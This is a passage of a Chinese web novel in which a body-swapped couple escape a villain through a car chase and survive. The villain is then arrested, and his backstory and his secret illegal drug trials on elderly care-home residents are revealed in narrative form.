然而就在缺氧感愈发强烈的最后一刻,他看到路的尽头也连着一个阶梯。
前面的人已经在往上走,他又在手机上点了屏幕几下,又是一声同样的异响,头顶参差不齐的木地板逐渐往后移,汇入了光线进来。
祁聿跟着他出去。
出去之后,他完全愣住,难以回神。
这是……
张启林自杀的……平房?!
……
许暻看着车载屏幕上的绿色光点忽闪忽现,心里也跟着七上八下。
这是那间废弃仓库?
他们去了废弃仓库吗?
许暻踩重了脚上的油门,与前方的车辆缩小了距离。
可没多久,前面的车速度越来越慢,最后红色的尾灯长亮,车彻底停了下来。
路口是红灯。
路灯显示屏上“83”的秒数匀速减少。
许暻紧紧捏着方向盘,喉咙愈发紧涩,不知道做了多少回吞咽动作,腿部的肌肉也稍稍发颤。
秒数才减到“43”。
她咬着唇,已经很久没觉得时间如此漫长。
心里默念:祁聿…不要有事…千万不要有事……
阿聿…等我……
3、2、1……
刺眼的红终于转绿,许暻迅速松了刹车,已经迫不及待地往前。
好在前方的车还算给力,没有堵住,流畅前行。
许暻的视线在后视镜和前车窗来回切换,转向灯也不知道被开了多少回,一辆接着一辆超车。
她没有办法。
她很心急。
她不能让祁聿和那个人待在一起。
天知道那个人又会做出什么事来?
等车辆终于从繁华的市区穿过,已经处于人流量少的街道,许暻又提了速,眼看着离废弃仓库越来越近。
可屏幕上的绿色光点却突然消失。
许暻心腑一搐,一股凶猛的热流冲过太阳穴,她慌忙把车开到了路边,踩了刹车。
然后快速打开手机里祁聿原本安装的定位系统,系统显示,手环没电了。
就像原本坚固的桥梁陡然坍塌,祁聿还在那一头等她,可她还没有走过去。
尽头的未知瞬间带来了无数恐惧与害怕,许暻却顾不上太多,直接冲下了车,往对面的废弃仓库跑。
临近门口时,她的脚步倏然一顿。
一辆熟悉的黑色跑车映入眼帘,她猛然惊觉:原来她应该在那天就知道的。
那天她从怡康离开时就看到了这辆车,
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她应该想到的……
蓄意止住思绪,许暻跑到门口,试图打开这扇冰冷的铁门。
她边拍边喊:“阿聿!阿聿!!阿聿你在里面吗阿聿?!”
然而奋力拍打数十下,这扇门也只是掉落了大小不均的锈迹斑块,受了些皮外伤。
心底愈发焦急,各种血腥、暴力的可能在脑海中过了个遍,她害怕祁聿最后会落得跟那个孤寡老人一样的下场,眼泪瞬间涌出,毫无征兆。
“阿聿……”
最后一声带着浓浓鼻音的担忧消失在她迅速后转的动作里,模糊的视线到处寻找,她心急地揉着眼睛。
几番慌乱的找寻,终于看到草堆里停留的一块大石。
许暻想都没想,两条腿已经冲了出去,她猛力搬起那块大石,重新跑回门边。
沿着铁门的细缝,许暻几乎使出全身气力,唇齿被主观的压力咬得发僵,甚至有几丝腥甜蔓延而上。
她已经顾不上。
心里只有眼前这扇难开的铁门。
一下、两下……七下、八下……
粗糙的石头面上不知道什么时候已经多了暗红的液体,混杂着粘在石头上的杂草,掺了数不清的泪水。
石头在许暻手里沉重了许多。
到底是年岁老旧的铁门,再怎么顽固,也抵不过坚硬的石头。
铁门边的缝隙被砸开,半扇没了支撑的门像个年迈体弱的老太,悻悻颤抖着身子。
许暻立刻扔了石头,扒住松开的门边角,从底下把门‘撕’开了一小半,刚好能容纳一个人进去。
手心的疼痛她仿佛完全感知不到了,弯下腰钻了进去。
然而站在空无一物的废旧仓库里,她的心也跟着空了个彻底。
“阿聿?”嘴里下意识溢出呼唤,空荡的场地却无法给予她任何回应。
许暻瞪着眸,双手无力地垂在身侧,黏稠的鲜血在指尖汇聚,又快速滴落。
眼前再次模糊一片,她以为自己找错了,可紧迫时刻的大脑尚且还留有最后一丝清醒——
那辆车就在门口,他们不可能不在。
于是身体再一次做了反应,她在这间四四方方的屋子里把每一面墙都大力拍过,想要从这间空无一物的场地里探出些意外的可能,想要不耽误分秒地去救她爱的人。
祁聿……
祁聿……
我终于愿意承认,我终于愿意坦坦荡荡承认,我是喜欢你的……
许暻是喜欢祁聿的……
不仅是现在的许暻,那个十几二十岁的许暻也曾喜欢祁聿,只是她也迷失了一段时间,现在她终于清晰了……
她不想失去祁聿……
“阿聿……阿聿你在哪……”
水泥墙面上留下了大大小小的血掌印,许暻越来越失望、越来越绝望。
这些墙壁全都是实心的,就连地下也是实心的。
他们不在这里?
那又在哪里?
这里找不到,许暻已经没有多留的打算,她快速冲向门口,然而就在即将出门的那一刻,她听见身后一声巨响。
“砰!”
耳边的轰鸣震得她全身一颤,她疾速转眸。
下一秒,她的情绪濒临崩溃:
祁聿从墙后蹬开了墙皮,借着许暻比他小巧的身体瞬地从缝隙里翻转出来,虽然动作略显狼狈,但还是脱险。
“阿聿!”许暻的动作在声音之前,向祁聿飞奔过去。
祁聿脸上有一瞬的震惊,随后紧紧接住了扑过来的人。
“小暻,你怎么会……”
“你没事……你没事……”许暻浑身颤抖着,滚烫的湿润铺天盖地地洒落,打断了祁聿的困惑。
祁聿还不知道发生了什么,然而听到许暻近乎崩落的情绪,心脏像是被人狠狠捏紧,紧密的钝痛接踵而至。
他的情绪也被带动。
可他到底没忘,他们还没有真的逃离危机,顾不上谈情,祁聿眼疾手快地将许暻拉起来,然后牵着她,疾速往外冲。
“小暻,他在后面,我们快走!”
57. 焰火+16
好在铁门被许暻砸开了,他可以不用担心怎么开这扇门。
推着许暻往前钻出了门缝,紧接着他自己也跟着往外钻。
看到自己的车在对面,祁聿没有半分犹豫,直接抓着许暻上了车。
然而他们才上车,后视镜映出的门缝里已经出现了那人的身影。
祁聿快速扣上许暻和自己的安全带,立马松了手刹,直接往前冲。
“我们把他往大路上引,小暻,报警了吗?”
泪水糊在脸上的许暻胡乱点头,“卢警官回家里取证了,我的定位一直和楹楹共享。”
祁聿尚且紧张的面色映在后视镜中,他满意地笑笑:“好,他想逃出国,小暻,他不可能逃得掉。”
引擎的轰鸣声在他们的车后乍然响起,许暻猛然一颤,僵硬回头,却隔着两道窗,意外对上了那双狠戾的眸子。
心口一惊,紧随而至的,是满腔的怒火与恨意。
是她太愚笨,没能认清他那张温润的虚假面具之下藏匿着的真实面孔。
祁聿踩重了油门,身后的跑车也加快了速度。
周擎越在那辆车里狠狠睨着和他对视上的眼眸。
许暻不甘示弱地剜回去,两道眸子无声对峙。
耳边祁聿简单转述刚才的情况。
……
那间平房在张启林自杀之后被封了起来,但警方怎么也不会想到,那间废弃仓库会和这间平房被一条秘密通道连接。
他们也不会想到,在这个连接平房的秘密通道的尽头,还藏着一个小箱子。
周擎越拿了箱子,让祁聿出来。
“这就是师父留下的东西,看看吧。”
祁聿半信半疑地打开箱子,却在看到里面的东西之后,愣在了原地。
浑身血液停滞,仿佛被寒冰笼罩,渐渐冻结。
几管醒目的、密封的药液放在最上方,下面是整理好的各种文件。
周擎越说,这些全都是许爷爷留下的。
他觉得应该让‘许暻’知道真相。
许暻继承了桐馨,就应该继承桐馨的所有。
不管光鲜也好、黑暗也罢。
这都是许爷爷和许奶奶留给她的。
他说,早在桐馨和怡康合作开始,许爷爷和张启林就已经有了共同的“目标”。
余光里探到,周擎越的目光始终没有离开过他。
周擎越低叹了声气:“小暻,其实最开始我知道师父做这些事的时候也是不能接受的。”
祁聿拧着眉,又拿起了下面的文件。
里面只记载了药物的更新时间和命名,使用的是机械化的文字,看不出其他。
周擎越接着说:“可是后来,我和师父聊过之后,他说动我了,他说我们到底还是为了帮助养老院的老人延年益寿,况且如果药物真的研制成功,那将是多么伟大的突破啊!”
他的尾音在封闭的小平房内轻轻回荡,却如千斤重压在了祁聿心底。
许爷爷……
紧接着,周擎越又叹了口气,语气惋惜又绵长:“可你也知道,成功总是要伴随牺牲的,我们是不被世俗认可的,可是小暻,现在只有我一个人在坚持师父的遗愿了,你作为师父的继承人,你应该和我一起才行。”
祁聿没说话,双眸缓慢地平扫过去,两条锋利如刀刃的眉毛极力要斩破混浊的迷雾。
他极力压着胸腔里的情绪,艰难地做了两次吞咽动作,才道:“爷爷的……遗愿?”
周擎越见‘她’仿佛有动摇的架势,飞快地点头。
甚至已经不顾及分寸,紧握住那只空出来的手:“小暻,这是师父追求了很多年、坚持了很多年的事情,现在只有我们能帮他完成了。”
“之前我没告诉你,是想慢慢来,可现在张启林自杀了,你又跟祁聿在一起了,我实在是瞒不下去了。”
“趁现在我们还有机会,你跟我一起去国外,我们带着这些东西,继续把师父的遗愿完成,好不好?”
祁聿下意识挣脱他的禁锢,瞬间了然。
心口的沉重也跟着消散。
他紧捏着手里的试管,横眉冷眼:“周擎越,你知不知道你做的事是违法的?”
对于他的质问,周擎越明显没那么在意。
脸上的和润不知道什么时候已经消失,他理所当然道:“这是师父的遗愿,我是在帮师父,小暻,你是师父的继承人,你也应该和我一样,应该不顾一切地接受这一切!”
“如果我不接受呢?爷爷从来没有告诉我这些,你又凭什么让我相信这一切是爷爷的遗愿?!”
祁聿完全明白了。
他应该是已经察觉他们有什么动作,想赶快把许暻绑在身边,趁着还没被抓,赶紧跑出去。
但又发现许暻好像还没察觉这一切,所以选择用一种引诱、道德绑架的方式让许暻自愿跟着他走。
无端嫁祸,简直恶心至极。
他果然没有想错这人!
周擎越眯起了眼,眸中逐渐凛出危险寒栗的光,他直愣地盯着眼前的眸子,也不知道是探到了什么,最终站直了身子。
然后对着‘她’冷哼一声:“小暻,一年的时间,你倒是聪明了不少。看来,你真的是打探到了一些信息吧?”
不等祁聿开口,他就接着说,一副全然无谓的模样,仿佛早就做足了准备:“城南监狱,住在颐安的那个老太婆,还有宋楹他们医院的周医生,这些线索,也确实够你猜想了。”
闻言,祁聿警惕地往后退了两步,双手重新抱胸,右手悄悄按紧了左胸口。
周擎越注意到了他的动作,却误会了他的意思,他歪着头道:“别紧张,就算你有猜想,我也不会伤害你的,小暻,这么多年,我等的就是你长大,等的就是让你成为我的笼中鸟。”
那人嘴角咧起的笑带着一抹阴寒,好似瞬间已能让人置于万年冰窖。
祁聿直视那双眸子,眼底却充斥着万分嫌恶:“爷爷奶奶的车祸,是不是你?”
祁聿突然问了这件事,倒是令周擎越十分意外,只不过他仍然吊着答案,跟他打太极:“小暻,不该知道的事,你还是别知道的好。”
话音刚落,手机的提示音响了两下,周擎越一边盯着眼前人,一边快速看了手机里的消息。
嘴唇咧得更开,他大笑:“你就乖乖跟我走吧,易玲已经安排好了机票,我们现在就走!”
闻言,祁聿稍稍一惊。
易玲……
易玲也是周擎越那边的?
几秒的出神,周擎越的手趁虚而入,稳稳地抓住了祁聿的手,想带他出去。
但祁聿完全不从,使出了最大的力气甩开他,左手抓住的那几根试管险些掉落。他干脆直接把东西塞进裤子的口袋里,又抬起右腿朝着周擎越狠狠踢过去。
第一下却没能成功,落了个空档,反被周擎越钳制,他低笑:“我说了,今天你必须跟我走!如果你不顺从,我就只能强制了。”
“滚开!”祁聿的右肩使劲往后抵着他,左肘用力往后顶,精准的朝他的腹部使力。
身后的人似乎也没想到‘她’会如此大力,有一瞬间的松懈,又因为腹部的疼痛差点松开‘她’。
然而祁聿刚挣脱出去,周擎越又一把抓住了他脑后的长发。
头皮上剧烈的疼痛感袭来,祁聿咬着牙,一脚侧踢过去,然周擎越也能忍着痛,手上的力越来越大,祁聿快要坚持不住。
他必须出去,他一定不能让这个人逃掉。
他要回去见许暻……
他还要让许爷爷、许奶奶死而瞑目……
他还要和许暻换回来……
前额已经通红,祁聿被撕扯得双眸快要睁不开,血管跟着暴起,呼吸越来越急促。
僵持的最后一刻,他看到了身旁的小箱子。
完全不顾头皮的疼痛,使劲够起箱子,转身直直地朝身后那人砸过去!
周擎越本想接住,里面的文件却全部掉落,明亮的白色晃眼,搅乱了他的动作,手上抓的头发也从指缝里快速溜走。
等回神时,那道倩影已经消失在地下的阶梯里。
……
两辆车在高速路上飞速疾驰,那辆跑车里的人爆发出一种势必要抓住猎物的强势。
许暻坐在副驾驶座上,心跳如鼓。
她一直盯着后方的车距,又问宋楹到了哪里。
他居然想把这一切推到爷爷身上,如果不是张启林多留了心眼,如果不是张奶奶还记得怡康有着那样的地下室,如果她没有误踢到那块石头,如果游奕没有偶然撞见楼道里他们见不得人的谈话。
他是不是永远就这么伪装下去?又是不是还会有更多的老人受到伤害?
前方的车辆已经比小路上多了许多,明晃晃的路灯照亮了前方的每一条路。
只是车窗上,突然开始砸下雨滴。
一滴水花在玻璃窗上重重迸开,像是预告,接着数不清的雨滴紧随其后,同时下坠,瞬间模糊了窗前的景象。
灯光也跟着在水雾中晕开。
祁聿当即开了雨刮器,却依旧挡不住这场突如其来的暴雨。
暴雨……
许暻从口袋外面攥紧了那两块怀表。
“小暻,宋楹他们到哪儿了?”
“已经上了高速,距离我们很近了……”
话音刚落,警笛声便在身后响起。
宋楹的电话也一起来了。
“小暻,我们已经看到你们的车了!你们小心啊!”
只是响起的不仅是警笛声,那辆跑车的引擎声也越来越响。
许暻看到车距已经被暴雨吞噬。<
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隔着层层雨雾,她依然能看到身后车里的人红着眼,宛若从地狱来的恶魔,强势靠近,要将他们吞噬干净。
祁聿才提速,一阵强烈的推背感接踵而至。
周擎越的车撞上来了,并且还在加速。
路上的其他车辆都因为急切的警笛声快速让路,有的甚至已经在分岔口直接下了高速。
祁聿想加速隔开距离,却在踩尽油门后猛地一怔——
两辆车卡在一起了。
而前方是拐角。
他的车轮被周擎越的车控制了方向,倘若转不过去,他们就要掉下高架桥。
可这样快的车速,跳车也极其危险。
祁聿有些慌了。
他出事不要紧,可是许暻……
怎么办?
还有什么办法?
就在祁聿想强制调转方向盘的那一刻,身旁的人突然开口:“阿聿,我带了怀表。”
下一秒,两人身上的安全带已经弹开,许暻迅速开了车门,抱着祁聿直接吻了上去,然后把人往外拽,让他的手臂把自己圈住,又让那具属于她的身体垫后。
双腿一蹬,两人同时滚入暴雨中。
虽说地面是粗糙的沥青,但起码比掉下高架桥要好。
许暻已经做好了眩晕和受伤的准备,然而一阵短暂的、混杂暴雨声和钟声的眩晕之后,她只感受到了熟悉的温热,和冰凉的雨丝。
警笛声鸣响不断,汽车双闪的低响混入其中,雨水的生涩里掺了难闻的尾气,灯光有些晃眼,许暻还听到了宋楹的声音。
“小暻!祁聿!你们醒醒啊!”
“小暻!”
身体被人摇晃着,许暻艰难地睁开眼,久违的熟悉感扑面而来,她感觉头好疼,以为是撞击路面的正常反应,她又扯了扯唇:“太好了…还没死……楹楹……”
宋楹稍稍一愣,又迅速反应过来:“小暻?你们换回来了?你有没有事?祁聿还没醒,救护车已经在来的路上了……”
祁聿还没醒。
这几个字瞬间刺激了尚且没有恢复过来的许暻,她甚至顾不上疼痛难忍的大脑,立刻坐了起来。
然后才看到身旁躺着的祁聿。
仅仅是一眼,滚烫的热泪已经自动溢满,狠狠下坠。
哪怕宋楹在两人的头上顶着伞,祁聿的身体依旧被暴雨浸湿,而且从祁聿的胳膊和身下不断流出鲜红的血水,又被暴雨冲刷。
地面堆积的雨水红了又粉、粉了又红。
他的手上,还留有她拿石头砸门时没有愈合的伤口。
许暻直接脱了外套,不知道哪里来的力气,把布料撕成几条,绑在他的胳膊和手上止血。
“阿聿!阿聿你醒醒阿聿!”
许暻大脑一片空白,不应该是她的身体把他护住的吗?就算昏迷,昏迷的也应该是她才对,他又怎么会受伤?
心跳几乎超越了跳跃极限,速度快到她已经无法准确感知。
许暻也不敢轻易动他,万一他身上还有其他地方骨折,她这一动,很容易造成二次伤害。
卢警官从暴雨中冲过来探情况,说救护车很快就到,让她们不要着急。
可许暻怎能不着急?
“阿聿?阿聿?”
连叫几声都没有回应,许暻又低下头去,伏耳探他的呼吸。
疾速奔腾的血液让身体的内里愈发滚热,许暻的心却凉了半截。
她听不到他的呼吸声,甚至无法探到他的颈动脉。
“阿聿!”
眼泪和雨水交织,完全模糊了视线,涕泗横流,喉间一丝腥甜跟着上涌。
心脏仿佛被一双无形的利爪紧捏,喘不过气的堵闷和尖锐的疼痛瞬间贯穿至全身。
许暻哭得撕心裂肺,把祁聿的身体摆正,跪在他身侧,一刻都不敢停歇地帮他做心肺复苏。
膝盖已经痛到发麻,双手也逐渐没了力气,可许暻还是不敢停下。
祁聿……
她要救祁聿……
她都在仓库那里找到他了,她差一点就要护住他了,怎么能这样失去他?
“阿聿你醒醒……”
许暻连说话都没有力气了。
宋楹本想阻止她,说她来,可许暻一刻都不愿意松手。
宋楹只能跟着跪在旁边,紧密观察祁聿的反应。
不知道这样的动作又持续了多久,宋楹脸上凝重的神色有一瞬松懈,她惊喜道:“有搏动了!有搏动了!”
许暻跟着一喜,立刻去探他的颈动脉,平缓的搏动在指腹传递,许暻心口的疼痛终于消减了些许。
与此同时,救护车的声音像是从天而降的保护神,从雨中快速穿梭过来,车上的医护人员动作迅速,抬着担架疾走而来。
最后许暻和宋楹跟着一起上了救护车。
58. 焰火+17
潮湿的走廊里,暴雨不嫌疲累地肆意拍打在玻璃窗上。
许暻身上披着宋楹的外套,身体被粘在身上的雨水凉得发颤。
两只手密不可分,带着后劲的软力留在腕间,咸涩胡乱地分布在脸颊。
呼吸的温热从微张的嘴唇里逃逸,扑洒在了拇指上,留下了些许热意。
许暻的神经完全紧绷,耳边紧张地听着那扇门背后的动静,头顶的红光像个严守纪律的战士,在那里一动不动。
许暻也和包裹着“手术室”那三个字的红光一样,半刻都没有变过姿势。
不知道是不是才回到这具身体里,意识还没有完全适应。
她的双眸迟迟无法聚焦,空洞地盯着光秃纯白的地板。
没一会儿,眼前的一切都成了幻影,模糊不清。
紧紧交缠的指缝里渐渐被新鲜滚烫的湿润填满。
他一定要平安出来……
如果他能平安出来,她以后再也不会对他嘴硬……
如果他能平安出来,她一定让他立刻转正……
宋楹的安慰在耳边不知道轮过几回,也不知道过了多久,里面依然没有动静。
眼眶已经干涩无比,鼻腔也快攫取不到新鲜的空气。
脸颊和手上的晶莹全都被风吹干,有些黏糊,脸皮也有些发紧。
许暻快要坐不住。
脑海中崩起的那根弦快要断掉。
在她即将崩塌的最后一刻,那束如死亡句点的红光终于熄灭了。
许暻猛地转头,和宋楹一起起身往前冲。
给祁聿做手术的田医生出来了。
她直捡重点,说:“祁聿已经没事了,生命体征已经恢复正常,现在就等人醒过来,后续好好休养就没问题。”
堵在许暻心口的那块沉重坚硬的大石终于落了下去,那根弦也恢复了正常。
身体无意识地一松,人险些没站稳。
宋楹及时扶住她,原本干涩的眼角又一次湿润,她毫无章法地胡乱点头,嘴里跟着应:“好…好……谢谢……谢谢……”
简单的几个字最后快变成了气音。
“田医生,麻烦你了,多谢。”宋楹再次道谢。
田医生相当理解两人的情绪,稍稍颔首:“别担心,他马上就会出来了。”
田医生交代完之后返回手术室,没多久,祁聿终于被推出来。
他躺在病床上,脸上虽然没什么血色,但呼吸是平稳的,手背上还输着液体。
跟着出来的护士道:“宋医生,现在送病人去病房。”
宋楹点了点头,拉着许暻跟在他们后面。
等护士给他上好了心电监护,挂好了新的输液之后,病房里也安静下来了。
许暻坐在床边,十指将他缠着纱布的手包裹,半刻都不肯松开。
全然不顾自己身上的潮湿。
她这副模样,宋楹也担心,试探性地劝说:“小暻,祁聿现在已经没事了,等他醒过来就好了,我先带你回去换身衣服,再吃点东西,好不好?”
许暻抿唇摇头,语气尚且虚弱:“我没胃口,我想等他醒。”
“我知道,”宋楹轻轻揉着她的肩,极力劝说:“可还有好多事情,周擎越的事还没完,而且你自己也是从那辆车上摔下来了,又刚刚换回来,身体还很虚弱,你如果倒下去,祁聿醒来也会担心啊。”
提起周擎越,许暻眸中又燃起了一丝火苗。
宋楹的话也真的起了作用,她终于愿意松开手,慢慢从凳子上站起身来。
思虑之后,许暻还是把祁聿住院的事告知了祁聿的父母以及她爸妈。
周擎越的事,也是瞒不住了,索性就这一次,全都说出来。
比起一概不知的困惑,辨不清敌友,还是清清楚楚、完全明了得好。
……
祁聿的父母到了之后,许暻跟着宋楹走了。
临走前,她在床前吻了吻祁聿。
指腹不舍地在他的眉骨停留,他真实的面容轻易地溜进她的心口,这一次,是来自于她自己身体里的,最真实、最真切的感受。
不是因为她喜欢吃甜品,是因为面对的人是他,所以才会冒出令她畅快愉悦的甜丝。
心里虽然压着事,但一想到解决完那些事,他就会醒来,便无比心安。
她伏在他耳边低声道:“阿聿,等我回来。”
许暻回家换了身衣服,随便吃了点东西垫过肚子之后,她和宋楹一起去了卢警官那里。
周擎越还在审讯室。
许暻也没想过,这些事会跟周擎越扯上关系。
从最初颐安的系统被黑开始,所有的一切都指向张启林,所以她从来没有往别处怀疑过。
她也相信爷爷的眼光,相信爷爷培养出来的人,一定会是一个不可多得的好人。
张启林自杀的时候,她也真的以为善恶终有报,一切都落定。
就连颐安再次被算计,祁聿再次被算计,她也完全没往他身上怀疑过,以为是行业里的对家作祟。
直到那天,祁聿把游奕无意间在医院楼道里录下的音频给她听,她用了很长的时间去接受,音频里的声音是属于周擎越的。
和他说话的对象是检验科的一个医生,许暻也从来没想过,周擎越的手会伸得如此长。
周擎越压低声音,语气不悦:“他们之前带那个老太婆过来检查,那药又不寻常,你一点风声没听到?”
那人说:“我在他们拿走之后才听说,你别太担心了,就一个成分而已,那老太婆不是早就痴呆了么?再说了,张启林在前头顶着呢。”
周擎越停顿片刻,又问:“新药弄好了吗?”
“没呢,我们这不比以轩那,科室多少双眼睛盯着呢。”
“你尽快,等怡康翻新之后,新的试验就能开始了。”
“知道了。”
也是因为录音,祁聿也说出了他原本打算隐瞒的事实。
颐安的系统再次被黑时,系统其实已经被祁聿修复好。
他们当时拿了郑总给的系统,所以原始数据一项都没有丢失,而且在第一次颐安出事的时候,祁聿多了个心眼,在系统里新装的一条加密数据链,系统内的所有数据都被实时传入保护,并且还有一道防御墙。
看似能被轻易攻破,实则能反向追击。
所以那天,祁聿就已经查到肉
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鸡之后的ip。
他是考虑到没有充分的证据,暂时隐瞒了许暻,想证实所有的事跟周擎越有关之后,再完全告诉她。
那天他只说,他们干脆将计就计,揪出这背后捣乱的人。
后来舆论起来之后,许暻被叫到李董办公室,她也直接把修复之后的系统给了李董。
那会李董是想彻底澄清,但许暻和祁聿商量好,引蛇出洞,所以麻烦李董配合他们演一出戏,也好断了颐安以后的隐患。
李董答应了。
任由舆论发酵,祁聿通过主流舆论反向追击,已经快要找到舆论出口。
只是谁都没有想到,这个风口,会有游奕的录音,还有社区的老人们拍的视频。
舆论瞬间转向,而宋楹那边也得到消息,检验科的那位医生的事被主任知道,主任大发雷霆把录音的事说出来了,那位医生被强制检查,虽然及时断了他所有的联系方式,但不知道周擎越那边有没有得到消息。
最后祁聿又说,就目前的局势,他们或许只有最后一个办法。
就是带张奶奶回怡康,看她能不能想起来什么,能不能找到什么直接一点的证据。
许暻知道,祁聿自从知道爷爷奶奶的车祸和张启林有关之后,就一直怀疑怡康,他想收购怡康,也是想深入调查。
尤其是在张启林刻意压价要把怡康卖给桐馨之后,但当时两人互换,祁聿想他也能直接接触怡康,索性也答应了许暻。
只是他也没有十足的把握,只能铤而走险,最后一搏。
好在他们足够幸运,张奶奶真的带他们找到了那个不为人知的地下室,也好在张启林多留了一个心眼,好在她不小心踢到了那块石头,好在她看到了那个u盘。
u盘里的几十张记录单里,注射记录的署名清清楚楚地写着周擎越的名字。
以及张启林留下的真正的那封遗书里,写下了所有他们的罪证。
也清晰地说明,一年前爷爷奶奶的车祸,虽然是张启林找的赵强,但背后指使张启林的人,却是周擎越。
而他的动机,是怀疑爷爷奶奶知道了他做的这些恶心事,怀疑爷爷奶奶知道了他和张启林之间的关系和秘密,为了保住自己的“伟大试验”,他不能留下他们。
许暻在那一刻完全无法接受。
她本以为周擎越最多只是参与了这场恶劣风暴,可没想到,他竟是这风暴的中心。
爷爷当初在那么冷的街边把他带回家,花了那样多的精力和心血去培养他,最后他竟只因为一个没有证实的怀疑,直接要了他们的命!
许暻背靠着冰冷的墙壁,目光不移地盯着墙上的那几个字——
公正严明。
好在,一切都早有定数。
好在,真相永远不会被埋没。
许暻手里捏着那两块险些受损的怀表,看着时间一分一秒地流逝。
外头的暴雨没有丝毫停歇的迹象。
夜,越来越深。
不知道过了多久,卢警官从里面出来。
有了祁聿之前追踪的ip地址和录音,再有张启林的u盘,周擎越几乎没有反驳的余地。
卢警官说,他想见许暻。
59. 焰火+18
许暻以为周擎越至少会多一点愧疚。
然而事实证明,是她把他想得太好。
男人双手被铐起来,慵懒地靠在约束他的椅子上。
看到她凝重的神色,眼角还留有泪痕,他直直地睨过去,唇角慢慢咧开,眸中带着让她不适的凝视,原有印象里的和煦尽失。
许暻才发现,他的脸有多么虚伪。
“小暻,别不开心啊,你们不是已经赢了我么?”
许暻没应。
这一声‘小暻’此刻在她听来十分刺耳,瞬间引起了身体的不适。
他又接着说:“早知道我就直接走了,可是啊,我是真的舍不得你,我是真的想带你一起走。”
上扬的尾调听不出一丝轻松,充满了恶寒的阴翳。
许暻只觉得恶心。
她稳着情绪,盯着他,语气像是坚硬的石块,重重地往他身上砸:“周擎越,爷爷奶奶他们是救了你命的人。”
一句话只说了一半,后面的话,周擎越就算不听,也知道许暻的意思。
只是他的神色依然未变,嘴角的弧度只增不减,仿佛在说着一件再寻常不过的事。
“他们是救了我的命,可是小暻,他们能救我,也能害我啊。”
周擎越年幼被抛弃,又被迫和双胞胎哥哥断联分离。
原本一开始被好心的孤寡老人收养,可老人却以收养之名,逼迫他沿街乞讨。
周擎越不干,老人便拳打脚踢,恶语相向。
他以为命运对他还算不错,让他得到了庇护。
却没想到他跌入的是另一个深渊。
寄人篱下、食不果腹的日子不好过,面对老人的凶狠,尚且年幼的他十分害怕,每天一睁眼,便担心这一天会吃不饱,担心又要挨打,身体又要遭罪。
他想反抗,老人便打得更厉害。
细小幼嫩的皮肤不知道什么时候已经留下数十道触目惊心的印记。
偏偏他还没钱买药。
时间长了,他便有出逃的想法。
一天深夜,他趁老人睡着,偷偷溜了出去,跑了五分钟,见老人没追上来,以为自己终于可以逃离那个恐怖的地方。
却在半路被老人追上。
老人手里拿着如铁柱般坚硬的棍棒,把他拖回了家,用毛巾塞住他的嘴,狠狠收拾了他。
并且威胁,如果再发现他逃跑,一定把他的腿打断。
他才明白,他根本就是命运的弃子。
痛苦的日子最后被他过得麻木,为了不挨打,他只能拼了命地乞讨。
他也不知道是不是老人的报应,某天他回家时,听说老人在家喝醉了,出来醒神,却在河边失了足,被发现的时候已经没气了。
得知之后,他心底生出了数不尽的快意,毫不犹豫地离开了这个破地方。
只是他依然没有钱,依然没有归宿,依然食不果腹。
那样寒冷的冬天,他蹲在街边,企盼路过的人在他的碗里留下几张钞票。
然而行人匆匆,根本没有人看他。
除了许爷爷和许奶奶。
奶奶牵着尚且年幼的许暻,停在他跟前,蹲下身,语气温和得像能融化寒冷的冰雪:“乖乖,这么冷的天,穿的这么少,别待在这了,赶快回去吧?”
边说着,她边塞了两张红色钞票给他。
许暻也拿出了自己手里的钞票,学着奶奶的模样,把钱递给他:“哥哥快回家吧,外面很冷。”
他抿了抿唇,唇上的寒气带进了口中,他颤抖道:“我…我没有家……”
爷爷也蹲下来,在他身上打量一番,问:“多大了?”
“十…十六……”
爷爷问他,愿不愿意跟他们回家。
他很犹豫。
他害怕再遇到那样的老人。
然而眼前那个可爱的女孩说:“哥哥,你跟我们回家吧?爷爷奶奶是世界上最好的爷爷奶奶!”
也许是太久没有感受到纯粹的美好,他很快就相信了女孩的话。
他跟着他们走了。
他才知道,这世界上还有如此温馨的地方,还有人在过着如此美好的生活。
不幸只在他身上。
正如女孩说的,爷爷奶奶对他很好,说要收养他,问他愿不愿意。
看着小女孩亮晶晶的眸子,他再次应下来。
从此爷爷成了他的师父,他跟着师父学到了很多东西。
甚至被送去了国外读书。
可进脑的知识越多,他发现自己就愈发空虚。
他有很多伟大的梦想,可那些梦想根本不被人认可。
他们说,那是不被允许的,他们不能违背良心与道德,更不能触及底线。
良心?道德?
周擎越在心底隐隐给这两个词打上了问号。
求学期间,他遇到了一个学识渊博的男人,不知道为什么,他很喜欢和这个男人交流。
他们从学术谈及生活,却又无意撞破了一个巨大的巧合——
这个男人是他失联多年的双胞胎哥哥。
当年他也被人收养,一家人移居国外,收养哥哥的父母很喜欢哥哥,对哥哥十分上心,甚至在临病去世之前,把所有的遗产都留给了哥哥。
哥哥现在继承了家里的公司,还有一个即将结婚的未婚妻。
周擎越再次笃信,他是命运的弃子。
哥哥问过他要不要留下,他可以给他安排最好的一切,他拒绝了。
他不想留在这里看他的幸福。
他要去做他值得做的事情。
什么良心道德?命运何时给过他生出良心道德的机会?
什么不被允许,他就要当那个与命运对抗的人!
回国之后,他留在桐馨跟着师父忙前忙后。
一次偶然,他跟着师父到了怡康,认识了张启林。
他看到了一个…和他很像的人。
几次接触之后,他干脆私底下找了张启林出来,直接抛出他的计划,问:“想加入么?”
张启林紧张地看着那份计划书,擦了擦汗道:“这…这能行吗?”
他低哼:“我有足够的资金,至于能不能行,怡康不是还有一个地下室?成功了,就是史无前例的壮举!”
张启林虽然软弱,却也有足够的贪念。
周擎越挑了怡康的几个老人,先从没有家属的孤寡老人开始。
几次试验之后,没有任何人发现不对劲。
只是他弄的药还不够成熟,陈以轩那边又还需要足够的样本,有比较大的副作用,老人们身上会出现坏死组织斑块,甚至有认知功能障碍加重的反应。
不过也正好,认知出了问题,他们被发现的风险也就小了。
宋楹他们医院的那个医生,正是陈以轩介绍给周擎越的。
陈以轩是从外地考到淮北的硕士,怀着满腔壮志,却没有足够的背影依托,成了本地人的陪衬。
想要自己创业,发现也是难上加难。
而周擎越恰好有钱,朝他伸出了援手。
他找了哥哥,以哥哥的名义入股陈以轩
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的医药公司,帮他发展。
自此,他便死心塌地。
无数次的试验,虽然伴随着牺牲,却也有一点进步。
虽说副作用还是很大,但滤化细胞的成功率却越来越高。
这些事本来就这样悄无声息地持续着。
直到那个多事的女孩出现。
张翠兰本是一个很好的试验载体,药物的成功率在她身上最高。
可副作用也很明显。
一开始他们没有当回事,只说身上的印记是她自己不小心磕到了,然而她的孙女却始终不信。
